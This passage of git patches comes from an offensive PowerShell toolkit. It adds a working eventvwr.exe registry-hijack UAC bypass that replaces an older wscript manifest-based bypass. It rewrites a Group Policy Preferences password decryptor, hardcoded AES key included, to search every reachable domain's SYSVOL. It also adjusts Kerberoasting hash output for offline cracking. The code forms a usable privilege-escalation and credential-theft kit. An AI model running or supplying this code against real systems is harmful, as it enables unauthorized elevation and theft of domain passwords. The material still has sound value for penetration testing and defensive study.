-Eq 1){ + "UAC is set to 'Always Notify'. This module does not bypass this setting." + exit } - - function Local:Invoke-WscriptTrigger { - $VBSfileName = [System.IO.Path]::GetRandomFileName() + '.vbs' - $ADSFile = $VBSFileName -split '\.',([regex]::matches($VBSFileName,"\.").count) -join '' - - $VBSPayload = "Dim objShell:" - $VBSPayload += "Dim oFso:" - $VBSPayload += "Set oFso = CreateObject(""Scripting.FileSystemObject""):" - $VBSPayload += "Set objShell = WScript.CreateObject(""WScript.Shell""):" - $VBSPayload += "command = ""$Command"":" - - if ($WindowStyle -eq 'Hidden') { - $VBSPayload += "objShell.Run command, 0:" - } - else { - $VBSPayload += "objShell.Run command, 1:" + else{ + #Begin Execution + $mscCommandPath = "HKCU:\Software\Classes\mscfile\shell\open\command" + $Command = $pshome + '\' + $Command + #Add in the new registry entries to hijack the msc file + if ($Force -or ((Get-ItemProperty -Path $mscCommandPath -Name '(default)' -ErrorAction SilentlyContinue) -eq $null)){ + New-Item $mscCommandPath -Force | + New-ItemProperty -Name '(Default)' -Value $Command -PropertyType string -Force | Out-Null + }else{ + Write-Warning "Key already exists, consider using -Force" + exit } - # stupid command to kick off a background cmd process to delete the wscript and manifest - $DelCommand = "$($env:WINDIR)\System32\cmd.exe /c """"start /b """""""" cmd /c """"timeout /t 5 >nul&&del $($env:WINDIR)\wscript.exe&&del $($env:WINDIR)\wscript.exe.manifest""""""""" - $VBSPayload += "command = ""$DelCommand"":" - $VBSPayload += "objShell.Run command, 0:" - $VBSPayload += "Set objShell = Nothing" - - Write-Verbose "[*] Storing VBS payload into `"$env:USERPROFILE\AppData:$ADSFile`"" - $CreateWrapperADS = {cmd /C "echo $VBSPayload > ""$env:USERPROFILE\AppData:$ADSFile"""} - Invoke-Command -ScriptBlock $CreateWrapperADS - - Write-Verbose "[*] Executing VBS payload with modified scripting host" - $ExecuteScript = {cmd /C "$($env:WINDIR)\wscript.exe ""$env:USERPROFILE\AppData:$ADSFile"""} - Invoke-Command -ScriptBlock $ExecuteScript - - Write-Verbose "[*] Removing Alternate Data Stream from $("$env:USERPROFILE\AppData:$ADSFile")" - Remove-ADS $env:USERPROFILE\AppData:$ADSFile - } - - function Local:Invoke-WscriptElevate { - - [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] - Param() - - $WscriptManifest = -@" - - - - - - - - - - - - true - true - - - -"@ - - # Copy and apply manifest to wscript.exe - $sManifest = $env:Temp + "\wscript.exe.manifest" - $WscriptManifest | Out-File $sManifest -Encoding UTF8 - - Write-Verbose "[*] Cabbing and extracting manifest into $($env:WINDIR)" - Invoke-CopyFile $sManifest $env:WINDIR - - Write-Verbose "[*] Cabbing and extracting wscript.exe into $($env:WINDIR)" - $WScriptPath = "$($env:WINDIR)\System32\wscript.exe" - Invoke-CopyFile $WScriptPath $env:WINDIR - Remove-Item -Force $sManifest - - Invoke-WscriptTrigger - } - - function Local:Remove-ADS { - <# - .SYNOPSIS - Removes an alterate data stream from a specified location. - P/Invoke code adapted from PowerSploit's Mayhem.psm1 module. + if (Test-Path $mscCommandPath) { + Write-Verbose "Created registry entries to hijack the msc extension" + }else{ + Write-Warning "Failed to create registry key, exiting" + exit + } - Author: @harmj0y, @mattifestation - License: BSD 3-Clause + $EventvwrPath = Join-Path -Path ([Environment]::GetFolderPath('System')) -ChildPath 'eventvwr.exe' + #Start Event Viewer + if ($PSCmdlet.ShouldProcess($EventvwrPath, 'Start process')) { + $Process = Start-Process -FilePath $EventvwrPath -PassThru + Write-Verbose "Started eventvwr.exe" + } - .LINK - https://github.com/mattifestation/PowerSploit/blob/master/Mayhem/Mayhem.psm1 - #> + #Sleep 5 seconds + Write-Verbose "Sleeping 5 seconds to trigger payload" + if (-not $PSBoundParameters['WhatIf']) { + Start-Sleep -Seconds 5 + } - [CmdletBinding()] - Param( - [Parameter(Mandatory = $True)] - [String] - $ADSPath - ) + $mscfilePath = "HKCU:\Software\Classes\mscfile" - #region define P/Invoke types dynamically - # stolen from PowerSploit https://github.com/mattifestation/PowerSploit/blob/master/Mayhem/Mayhem.psm1 - $DynAssembly = New-Object System.Reflection.AssemblyName('Win32') - $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run) - $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('Win32', $False) - - $TypeBuilder = $ModuleBuilder.DefineType('Win32.Kernel32', 'Public, Class') - $DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String])) - $SetLastError = [Runtime.InteropServices.DllImportAttribute].GetField('SetLastError') - $SetLastErrorCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, - @('kernel32.dll'), - [Reflection.FieldInfo[]]@($SetLastError), - @($True)) - - # Define [Win32.Kernel32]::DeleteFile - $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('DeleteFile', - 'kernel32.dll', - ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), - [Reflection.CallingConventions]::Standard, - [Bool], - [Type[]]@([String]), - [Runtime.InteropServices.CallingConvention]::Winapi, - [Runtime.InteropServices.CharSet]::Ansi) - $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute) - - $Kernel32 = $TypeBuilder.CreateType() - - $Result = $Kernel32::DeleteFile($ADSPath) - - if ($Result) { - Write-Verbose "Alternate Data Stream at $ADSPath successfully removed." - } - else { - Write-Verbose "Alternate Data Stream at $ADSPath removal failure!" + if (Test-Path $mscfilePath) { + #Remove the registry entry + Remove-Item $mscfilePath -Recurse -Force + Write-Verbose "Removed registry entries" } - } - # make sure we are running on vulnerable windows version (vista,7) - $OSVersion = [Environment]::OSVersion.Version - if (($OSVersion -ge (New-Object 'Version' 6,0)) -and ($OSVersion -lt (New-Object 'Version' 6,2))) { - if (([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] 'Administrator') -eq $True){ - Write-Warning '[!] You are already elevated!' + if(Get-Process -Id $Process.Id -ErrorAction SilentlyContinue){ + Stop-Process -Id $Process.Id + Write-Verbose "Killed running eventvwr process" } - else { - Invoke-WscriptElevate - } - } - else { - Write-Warning '[!] Target machine is not vulnerable.' } } diff --git a/Privesc/Privesc.psd1 b/Privesc/Privesc.psd1 index 6d4e3bd2..bcd2443c 100644 --- a/Privesc/Privesc.psd1 +++ b/Privesc/Privesc.psd1 @@ -51,7 +51,7 @@ FunctionsToExport = @( 'Get-SiteListPassword', 'Get-CachedGPPPassword', 'Write-UserAddMSI', - 'Invoke-WScriptUACBypass', + 'Invoke-EventVwrBypass', 'Invoke-PrivescAudit', 'Get-System' ) From d1060930c7af88730e983155077b56b3cc47a4dc Mon Sep 17 00:00:00 2001 From: Mike Brancato Date: Wed, 4 Jan 2017 23:23:25 -0500 Subject: [PATCH 233/296] Fix errors gathering the forest SID Pull the SID directly from the 'krbtgt' user to avoid errors in ConvertTo-SID --- Recon/PowerView.ps1 | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 17d5b9e6..5598dbec 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -3891,10 +3891,10 @@ to the forest root domain SID. if ($ForestObject) { # get the SID of the forest root if ($PSBoundParameters['Credential']) { - $ForestSid = ConvertTo-SID -ObjectName "krbtgt@$($ForestObject.RootDomain)" -Credential $Credential + $ForestSid = (Get-DomainUser -Identity "krbtgt" -Domain $ForestObject.RootDomain.Name -Credential $Credential).objectsid } else { - $ForestSid = ConvertTo-SID -ObjectName "krbtgt@$($ForestObject.RootDomain)" + $ForestSid = (Get-DomainUser -Identity "krbtgt" -Domain $ForestObject.RootDomain.Name).objectsid } $Parts = $ForestSid -Split '-' From 5500a7e1311662a8e88d1361ef0d8ab86f8f35b5 Mon Sep 17 00:00:00 2001 From: HarmJ0y Date: Sat, 7 Jan 2017 20:32:14 -0500 Subject: [PATCH 234/296] Fix for issue #170 Added -SearchForest to search all reachable domain trust \SYSVOL\'s Each password is now output as a separate object. --- Exfiltration/Get-GPPPassword.ps1 | 462 +++++++++++++++++++------------ 1 file changed, 279 insertions(+), 183 deletions(-) diff --git a/Exfiltration/Get-GPPPassword.ps1 b/Exfiltration/Get-GPPPassword.ps1 index 0c03e0ad..bb58667d 100644 --- a/Exfiltration/Get-GPPPassword.ps1 +++ b/Exfiltration/Get-GPPPassword.ps1 @@ -2,246 +2,342 @@ function Get-GPPPassword { <# .SYNOPSIS - Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences. - - PowerSploit Function: Get-GPPPassword - Author: Chris Campbell (@obscuresec) - License: BSD 3-Clause - Required Dependencies: None - Optional Dependencies: None - +Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences. + +PowerSploit Function: Get-GPPPassword +Author: Chris Campbell (@obscuresec) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + .DESCRIPTION - Get-GPPPassword searches a domain controller for groups.xml, scheduledtasks.xml, services.xml and datasources.xml and returns plaintext passwords. +Get-GPPPassword searches a domain controller for groups.xml, scheduledtasks.xml, services.xml and datasources.xml and returns plaintext passwords. .PARAMETER Server - - Specify the domain controller to search for. - Default's to the users current domain + +Specify the domain controller to search for. +Default's to the users current domain + +.PARAMETER SearchForest + +Map all reaschable trusts and search all reachable SYSVOLs. .EXAMPLE - PS C:\> Get-GPPPassword - - NewName : [BLANK] - Changed : {2014-02-21 05:28:53} - Passwords : {password12} - UserNames : {test1} - File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\DataSources\DataSources.xml - - NewName : {mspresenters} - Changed : {2013-07-02 05:43:21, 2014-02-21 03:33:07, 2014-02-21 03:33:48} - Passwords : {Recycling*3ftw!, password123, password1234} - UserNames : {Administrator (built-in), DummyAccount, dummy2} - File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml - - NewName : [BLANK] - Changed : {2014-02-21 05:29:53, 2014-02-21 05:29:52} - Passwords : {password, password1234$} - UserNames : {administrator, admin} - File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\ScheduledTasks\ScheduledTasks.xml - - NewName : [BLANK] - Changed : {2014-02-21 05:30:14, 2014-02-21 05:30:36} - Passwords : {password, read123} - UserNames : {DEMO\Administrator, admin} - File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Services\Services.xml +Get-GPPPassword + +NewName : [BLANK] +Changed : {2014-02-21 05:28:53} +Passwords : {password12} +UserNames : {test1} +File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\DataSources\DataSources.xml + +NewName : {mspresenters} +Changed : {2013-07-02 05:43:21, 2014-02-21 03:33:07, 2014-02-21 03:33:48} +Passwords : {Recycling*3ftw!, password123, password1234} +UserNames : {Administrator (built-in), DummyAccount, dummy2} +File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml + +NewName : [BLANK] +Changed : {2014-02-21 05:29:53, 2014-02-21 05:29:52} +Passwords : {password, password1234$} +UserNames : {administrator, admin} +File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\ScheduledTasks\ScheduledTasks.xml + +NewName : [BLANK] +Changed : {2014-02-21 05:30:14, 2014-02-21 05:30:36} +Passwords : {password, read123} +UserNames : {DEMO\Administrator, admin} +File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Services\Services.xml .EXAMPLE - PS C:\> Get-GPPPassword -Server EXAMPLE.COM - NewName : [BLANK] - Changed : {2014-02-21 05:28:53} - Passwords : {password12} - UserNames : {test1} - File : \\EXAMPLE.COM\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB982DA}\MACHINE\Preferences\DataSources\DataSources.xml +Get-GPPPassword -Server EXAMPLE.COM - NewName : {mspresenters} - Changed : {2013-07-02 05:43:21, 2014-02-21 03:33:07, 2014-02-21 03:33:48} - Passwords : {Recycling*3ftw!, password123, password1234} - UserNames : {Administrator (built-in), DummyAccount, dummy2} - File : \\EXAMPLE.COM\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB9AB12}\MACHINE\Preferences\Groups\Groups.xml +NewName : [BLANK] +Changed : {2014-02-21 05:28:53} +Passwords : {password12} +UserNames : {test1} +File : \\EXAMPLE.COM\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB982DA}\MACHINE\Preferences\DataSources\DataSources.xml + +NewName : {mspresenters} +Changed : {2013-07-02 05:43:21, 2014-02-21 03:33:07, 2014-02-21 03:33:48} +Passwords : {Recycling*3ftw!, password123, password1234} +UserNames : {Administrator (built-in), DummyAccount, dummy2} +File : \\EXAMPLE.COM\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB9AB12}\MACHINE\Preferences\Groups\Groups.xml .EXAMPLE - PS C:\> Get-GPPPassword | ForEach-Object {$_.passwords} | Sort-Object -Uniq - - password - password12 - password123 - password1234 - password1234$ - read123 - Recycling*3ftw! +Get-GPPPassword | ForEach-Object {$_.passwords} | Sort-Object -Uniq + +password +password12 +password123 +password1234 +password1234$ +read123 +Recycling*3ftw! .LINK - - http://www.obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html - https://github.com/mattifestation/PowerSploit/blob/master/Recon/Get-GPPPassword.ps1 - http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences - http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html + +http://www.obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html +https://github.com/mattifestation/PowerSploit/blob/master/Recon/Get-GPPPassword.ps1 +http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences +http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html #> - + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingWMICmdlet', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPlainTextForPassword', '')] [CmdletBinding()] Param ( - [ValidateNotNullOrEmpty()] - [String] - $Server = $Env:USERDNSDOMAIN + [ValidateNotNullOrEmpty()] + [String] + $Server = $Env:USERDNSDOMAIN, + + [Switch] + $SearchForest ) - - #Some XML issues between versions - Set-StrictMode -Version 2 - - #define helper function that decodes and decrypts password + + # define helper function that decodes and decrypts password function Get-DecryptedCpassword { [CmdletBinding()] Param ( - [string] $Cpassword + [string] $Cpassword ) try { - #Append appropriate padding based on string length + #Append appropriate padding based on string length $Mod = ($Cpassword.length % 4) - + switch ($Mod) { - '1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)} - '2' {$Cpassword += ('=' * (4 - $Mod))} - '3' {$Cpassword += ('=' * (4 - $Mod))} + '1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)} + '2' {$Cpassword += ('=' * (4 - $Mod))} + '3' {$Cpassword += ('=' * (4 - $Mod))} } $Base64Decoded = [Convert]::FromBase64String($Cpassword) - + #Create a new AES .NET Crypto Object $AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider [Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8, 0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b) - + #Set IV to all nulls to prevent dynamic generation of IV value - $AesIV = New-Object Byte[]($AesObject.IV.Length) + $AesIV = New-Object Byte[]($AesObject.IV.Length) $AesObject.IV = $AesIV $AesObject.Key = $AesKey - $DecryptorObject = $AesObject.CreateDecryptor() + $DecryptorObject = $AesObject.CreateDecryptor() [Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length) - + return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock) - } - - catch {Write-Error $Error[0]} - } - - #define helper function to parse fields from xml files - function Get-GPPInnerFields { + } + + catch { Write-Error $Error[0] } + } + + # helper function to parse fields from xml files + function Get-GPPInnerField { [CmdletBinding()] Param ( $File ) - + try { - $Filename = Split-Path $File -Leaf [xml] $Xml = Get-Content ($File) - #declare empty arrays - $Cpassword = @() - $UserName = @() - $NewName = @() - $Changed = @() - $Password = @() - - #check for password field - if ($Xml.innerxml -like "*cpassword*"){ - - Write-Verbose "Potential password in $File" - - switch ($Filename) { - - 'Groups.xml' { - $Cpassword += , $Xml | Select-Xml "/Groups/User/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value} - $UserName += , $Xml | Select-Xml "/Groups/User/Properties/@userName" | Select-Object -Expand Node | ForEach-Object {$_.Value} - $NewName += , $Xml | Select-Xml "/Groups/User/Properties/@newName" | Select-Object -Expand Node | ForEach-Object {$_.Value} - $Changed += , $Xml | Select-Xml "/Groups/User/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value} - } - - 'Services.xml' { - $Cpassword += , $Xml | Select-Xml "/NTServices/NTService/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value} - $UserName += , $Xml | Select-Xml "/NTServices/NTService/Properties/@accountName" | Select-Object -Expand Node | ForEach-Object {$_.Value} - $Changed += , $Xml | Select-Xml "/NTServices/NTService/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value} - } - - 'Scheduledtasks.xml' { - $Cpassword += , $Xml | Select-Xml "/ScheduledTasks/Task/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value} - $UserName += , $Xml | Select-Xml "/ScheduledTasks/Task/Properties/@runAs" | Select-Object -Expand Node | ForEach-Object {$_.Value} - $Changed += , $Xml | Select-Xml "/ScheduledTasks/Task/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value} - } - - 'DataSources.xml' { - $Cpassword += , $Xml | Select-Xml "/DataSources/DataSource/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value} - $UserName += , $Xml | Select-Xml "/DataSources/DataSource/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value} - $Changed += , $Xml | Select-Xml "/DataSources/DataSource/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value} + # check for the cpassword field + if ($Xml.innerxml -match 'cpassword') { + + $Xml.GetElementsByTagName('Properties') | ForEach-Object { + if ($_.cpassword) { + $Cpassword = $_.cpassword + if ($Cpassword -and ($Cpassword -ne '')) { + $DecryptedPassword = Get-DecryptedCpassword $Cpassword + $Password = $DecryptedPassword + Write-Verbose "[Get-GPPInnerField] Decrypted password in '$File'" + } + + if ($_.newName) { + $NewName = $_.newName + } + + if ($_.userName) { + $UserName = $_.userName + } + elseif ($_.accountName) { + $UserName = $_.accountName + } + elseif ($_.runAs) { + $UserName = $_.runAs + } + + try { + $Changed = $_.ParentNode.changed + } + catch { + Write-Verbose "[Get-GPPInnerField] Unable to retrieve ParentNode.changed for '$File'" + } + + try { + $NodeName = $_.ParentNode.ParentNode.LocalName + } + catch { + Write-Verbose "[Get-GPPInnerField] Unable to retrieve ParentNode.ParentNode.LocalName for '$File'" + } + + if (!($Password)) {$Password = '[BLANK]'} + if (!($UserName)) {$UserName = '[BLANK]'} + if (!($Changed)) {$Changed = '[BLANK]'} + if (!($NewName)) {$NewName = '[BLANK]'} + + $GPPPassword = New-Object PSObject + $GPPPassword | Add-Member Noteproperty 'UserName' $UserName + $GPPPassword | Add-Member Noteproperty 'NewName' $NewName + $GPPPassword | Add-Member Noteproperty 'Password' $Password + $GPPPassword | Add-Member Noteproperty 'Changed' $Changed + $GPPPassword | Add-Member Noteproperty 'File' $File + $GPPPassword | Add-Member Noteproperty 'NodeName' $NodeName + $GPPPassword | Add-Member Noteproperty 'Cpassword' $Cpassword + $GPPPassword } - - 'Printers.xml' { - $Cpassword += , $Xml | Select-Xml "/Printers/SharedPrinter/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value} - $UserName += , $Xml | Select-Xml "/Printers/SharedPrinter/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value} - $Changed += , $Xml | Select-Xml "/Printers/SharedPrinter/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value} + } + } + } + catch { + Write-Warning "[Get-GPPInnerField] Error parsing file '$File' : $_" + } + } + + # helper function (adapted from PowerView) to enumerate the domain/forest trusts for a specified domain + function Get-DomainTrust { + [CmdletBinding()] + Param ( + $Domain + ) + + if (Test-Connection -Count 1 -Quiet -ComputerName $Domain) { + try { + $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain) + $DomainObject = [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext) + if ($DomainObject) { + $DomainObject.GetAllTrustRelationships() | Select-Object -ExpandProperty TargetName + } + } + catch { + Write-Verbose "[Get-DomainTrust] Error contacting domain '$Domain' : $_" + } + + try { + $ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', $Domain) + $ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext) + if ($ForestObject) { + $ForestObject.GetAllTrustRelationships() | Select-Object -ExpandProperty TargetName + } + } + catch { + Write-Verbose "[Get-DomainTrust] Error contacting forest '$Domain' (domain may not be a forest object) : $_" + } + } + } + + # helper function (adapted from PowerView) to enumerate all reachable trusts from the current domain + function Get-DomainTrustMapping { + [CmdletBinding()] + Param () + + # keep track of domains seen so we don't hit infinite recursion + $SeenDomains = @{} + + # our domain stack tracker + $Domains = New-Object System.Collections.Stack + + try { + $CurrentDomain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() | Select-Object -ExpandProperty Name + $CurrentDomain + } + catch { + Write-Warning "[Get-DomainTrustMapping] Error enumerating current domain: $_" + } + + if ($CurrentDomain -and $CurrentDomain -ne '') { + $Domains.Push($CurrentDomain) + + while($Domains.Count -ne 0) { + + $Domain = $Domains.Pop() + + # if we haven't seen this domain before + if ($Domain -and ($Domain.Trim() -ne '') -and (-not $SeenDomains.ContainsKey($Domain))) { + + Write-Verbose "[Get-DomainTrustMapping] Enumerating trusts for domain: '$Domain'" + + # mark it as seen in our list + $Null = $SeenDomains.Add($Domain, '') + + try { + # get all the domain/forest trusts for this domain + Get-DomainTrust -Domain $Domain | Sort-Object -Unique | ForEach-Object { + # only output if we haven't already seen this domain and if it's pingable + if (-not $SeenDomains.ContainsKey($_) -and (Test-Connection -Count 1 -Quiet -ComputerName $_)) { + $Null = $Domains.Push($_) + $_ + } + } } - - 'Drives.xml' { - $Cpassword += , $Xml | Select-Xml "/Drives/Drive/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value} - $UserName += , $Xml | Select-Xml "/Drives/Drive/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value} - $Changed += , $Xml | Select-Xml "/Drives/Drive/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value} + catch { + Write-Verbose "[Get-DomainTrustMapping] Error: $_" } } - } - - foreach ($Pass in $Cpassword) { - Write-Verbose "Decrypting $Pass" - $DecryptedPassword = Get-DecryptedCpassword $Pass - Write-Verbose "Decrypted a password of $DecryptedPassword" - #append any new passwords to array - $Password += , $DecryptedPassword - } - - #put [BLANK] in variables - if (!($Password)) {$Password = '[BLANK]'} - if (!($UserName)) {$UserName = '[BLANK]'} - if (!($Changed)) {$Changed = '[BLANK]'} - if (!($NewName)) {$NewName = '[BLANK]'} - - #Create custom object to output results - $ObjectProperties = @{'Passwords' = $Password; - 'UserNames' = $UserName; - 'Changed' = $Changed; - 'NewName' = $NewName; - 'File' = $File} - - $ResultsObject = New-Object -TypeName PSObject -Property $ObjectProperties - Write-Verbose "The password is between {} and may be more than one value." - if ($ResultsObject) {Return $ResultsObject} + } } - - catch {Write-Error $Error[0]} } - + try { - #ensure that machine is domain joined and script is running as a domain account - if ( ( ((Get-WmiObject Win32_ComputerSystem).partofdomain) -eq $False ) -or ( -not $Env:USERDNSDOMAIN ) ) { - throw 'Machine is not a domain member or User is not a member of the domain.' + $XMlFiles = @() + $Domains = @() + + # discover any locally cached GPP .xml files + Write-Verbose '[Get-GPPPassword] Searching local host for any cached GPP files' + $MlFiles += Get-ChildItem -Path $AllUsers -Recurse -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml' -Force -ErrorAction SilentlyContinue + + if ($SearchForest) { + Write-Verbose '[Get-GPPPassword] Searching for all reachable trusts' + $Domains += Get-DomainTrustMapping } + else { + if ($Server) { + $Domains += , $Server + } + else { + # in case we're in a SYSTEM context + $Domains += , [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() | Select-Object -ExpandProperty Name + } + } + + $Domains = $Domains | Where-Object {$_} | Sort-Object -Unique + + ForEach ($Domain in $Domains) { + # discover potential domain GPP files containing passwords, not complaining in case of denied access to a directory + Write-Verbose "[Get-GPPPassword] Searching \\$Domain\SYSVOL\*\Policies. This could take a while." + $DomainXMLFiles = Get-ChildItem -Force -Path "\\$Domain\SYSVOL\*\Policies" -Recurse -ErrorAction SilentlyContinue -Include @('Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml') + + if($DomainXMLFiles) { + $XMlFiles += $DomainXMLFiles + } + } + + if ( -not $XMlFiles ) { throw '[Get-GPPPassword] No preference files found.' } + + Write-Verbose "[Get-GPPPassword] Found $($XMLFiles | Measure-Object | Select-Object -ExpandProperty Count) files that could contain passwords." - #discover potential files containing passwords ; not complaining in case of denied access to a directory - Write-Verbose "Searching \\$Server\SYSVOL. This could take a while." - $XMlFiles = Get-ChildItem -Path "\\$Server\SYSVOL" -Recurse -ErrorAction SilentlyContinue -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml' - - if ( -not $XMlFiles ) {throw 'No preference files found.'} - - Write-Verbose "Found $($XMLFiles | Measure-Object | Select-Object -ExpandProperty Count) files that could contain passwords." - - foreach ($File in $XMLFiles) { - $Result = (Get-GppInnerFields $File.Fullname) - Write-Output $Result + ForEach ($File in $XMLFiles) { + $Result = (Get-GppInnerField $File.Fullname) + $Result } } - catch {Write-Error $Error[0]} -} + catch { Write-Error $Error[0] } +} \ No newline at end of file From 3f7a32d6237caa037b870aaa941a35e3761bf13c Mon Sep 17 00:00:00 2001 From: HarmJ0y Date: Sun, 8 Jan 2017 22:28:51 -0500 Subject: [PATCH 235/296] Get-DomainSPNTicket/Invoke-Kerberoast now include 'real' user data in the hash output. Added a bit more error handling when requesting the SPN kerberos ticket. --- Recon/PowerView.ps1 | 24 +++++++++++++++++++----- 1 file changed, 19 insertions(+), 5 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 5598dbec..5e08807c 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -2305,7 +2305,12 @@ Outputs a custom object containing the SamAccountName, ServicePrincipalName, and $UserSPN = $UserSPN[0] } - $Ticket = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $UserSPN + try { + $Ticket = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $UserSPN + } + catch { + Write-Warning "[Get-DomainSPNTicket] Error requesting ticket for SPN '$UserSPN' from user '$DistinguishedName'" + } if ($Ticket) { $TicketByteStream = $Ticket.GetRequest() } @@ -2322,11 +2327,13 @@ Outputs a custom object containing the SamAccountName, ServicePrincipalName, and $Out | Add-Member Noteproperty 'ServicePrincipalName' $Ticket.ServicePrincipalName if ($OutputFormat -match 'John') { - $HashFormat = "`$krb5tgs`$unknown:$Hash" + $HashFormat = "`$krb5tgs`$$($Ticket.ServicePrincipalName):$Hash" } else { + $UserDomain = $DistinguishedName.SubString($DistinguishedName.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + # hashcat output format - $HashFormat = '$krb5tgs$23$*ID#124_DISTINGUISHED NAME: CN=fakesvc,OU=Service,OU=Accounts,OU=EnterpriseObjects,DC=asdsa,DC=pf,DC=fakedomain,DC=com SPN: E0518235-4B06-11D1-AB04-00C04FDS3CD2-BADM/aksjdb.asdsa.pf.fakedomain.com:50000 *' + $Hash + $HashFormat = "`$krb5tgs`$23`$*$SamAccountName`$$UserDomain`$$($Ticket.ServicePrincipalName)*`$$Hash" } $Out | Add-Member Noteproperty 'Hash' $HashFormat $Out.PSObject.TypeNames.Insert(0, 'PowerView.SPNTicket') @@ -2413,15 +2420,22 @@ for connection to the target domain. Invoke-Kerberoast | fl +Kerberoasts all found SPNs for the current domain. + .EXAMPLE -Invoke-Kerberoast -Domain dev.testlab.local | fl +Invoke-Kerberoast -Domain dev.testlab.local -OutputFormat HashCat | fl + +Kerberoasts all found SPNs for the testlab.local domain, outputting to HashCat +format instead of John (the default). .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -orce $Cred = New-Object 